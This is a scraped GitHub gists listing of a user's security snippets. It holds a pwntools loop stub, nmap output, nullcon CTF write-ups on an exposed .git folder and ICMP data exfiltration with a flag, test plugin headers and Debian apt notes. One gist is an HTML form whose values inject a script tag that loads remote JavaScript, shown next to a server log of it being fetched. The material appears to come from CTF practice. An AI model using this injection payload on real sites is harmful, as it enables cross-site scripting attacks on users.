Skip to content

Instantly share code, notes, and snippets.

# Download :
# Download :
from pwn import *
import struct
import time
import re
for i in range(0,100):
s = remote('', 9000)
View gist:78b9078bc7f66069d5769ef98ae2bc56
21/tcp open ftp syn-ack ttl 128 FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ssl-date:
|_ ERROR: Unable to obtain data from the target
53/tcp open domain syn-ack ttl 128 Microsoft DNS
80/tcp open http syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
View gist:32aa55316f6a52fb57fb881a55bcceb3 -> redirection script
<!--Actual file to be run-->
<form id='f' action="" method='POST'>
<input type="text" name="name" value="';x='">
<input type="text" name="name" value="';var script = document.createElement('script'); script.src = '';document.body.appendChild(script);//">
<input type="text" name="message" value="hohoho">
View gist:104dee4e8d12a81da50a302f33fec5c7
Serving HTTP on port 8000 ... - - [22/Oct/2017 21:29:11] "GET / HTTP/1.1" 200 - - - [22/Oct/2017 21:29:11] code 404, message File not found - - [22/Oct/2017 21:29:11] "GET /favicon.ico HTTP/1.1" 404 - - - [22/Oct/2017 21:29:40] "GET /ew.js HTTP/1.1" 200 - - - [22/Oct/2017 21:30:11] "GET /ew.js HTTP/1.1" 200 - - - [22/Oct/2017 21:30:12] code 404, message File not found - - [22/Oct/2017 21:30:12] "GET /favicon.ico HTTP/1.1" 404 - - - [22/Oct/2017 21:33:38] "GET /ew.js HTTP/1.1" 200 -
View nullconCTF - web 2
THere is a hidden .git folder
You can use Git-tools ( to download the .git folder and extract the files.
First dump the files using Dumper and then extract the files of each commit using Extractor. Both these tools are available in the above link.
Once you download the files and analyze them you can see an index.php file deleted and you can see its code as we extracted is using Extractor in the above step.
URI: 3e90c63922fa145442bb58d18b62af6c21717fee/index.php
In the index.php the login validation function is as follows,
View nullconCTF - misc 2
Hints given - I don't like HTTP but I like table tennis.
Table tennis is also called as ping pong. This means the data is transmitted in ping packets. So, our data is in ICMP packets.
Add a filter in wireshark, ip.proto=="icmp" and you will get all the icmp packets.
You can also see that there is a data value in the ICMP packets. There are so many data packets and I used tshark to automate extration stuff but the results were not of any use.
Then I observed the size of data in each packet varies, they are of different sizes like 48 bytes and 2 bytes.
You can clearly see that the 48 byte packets are trash data. So, I manually written all the 2 bytes values on the paper and then decoded that value which gave me the flag.
Flag - hackim18{'51mpL3st_Ch4ll3ng3_s0lv3d'}
View 888-block-all.js
const plugin_version = '2018-1000-1000'
const plugin_name = '888-block-all'
// This plugin is used to test the interception effect
// The logic of this plugin is that it will be intercepted regardless of whether the request is normal or not.
// To open this plugin, first remove the following throw :-)
// Throw new Error ("This plugin will block all operations, in order to prevent misuse, please delete this line")
'use strict'
View 888-china-block-all.js
const plugin_version = '2018-1000-1000'
const plugin_name = '888-block-all'
// 本插件用于测试拦截效果
// 这个插件的逻辑是,不管请求是否正常,一律拦截
// 若要开启这个插件,请先删除下面的 throw :-)
// throw new Error("本插件会拦截所有操作,为了防止误操作,请请删掉这一行")
'use strict'
View gist:ecf8e1ddc52c6896f4b16d5710f74230
# lsb_release -a
# /etc/apt/sources.list for squeeze
deb squeeze main
deb squeeze-lts main
View gist:6ee04805e82ba02521a2c21a21cbeab5
# lsb_release -a
# /etc/apt/sources.list for squeeze
deb squeeze main
deb squeeze-lts main
# also edit /etc/resolv.conf with google's DNS and comment the provided DNS.
You can’t perform that action at this time.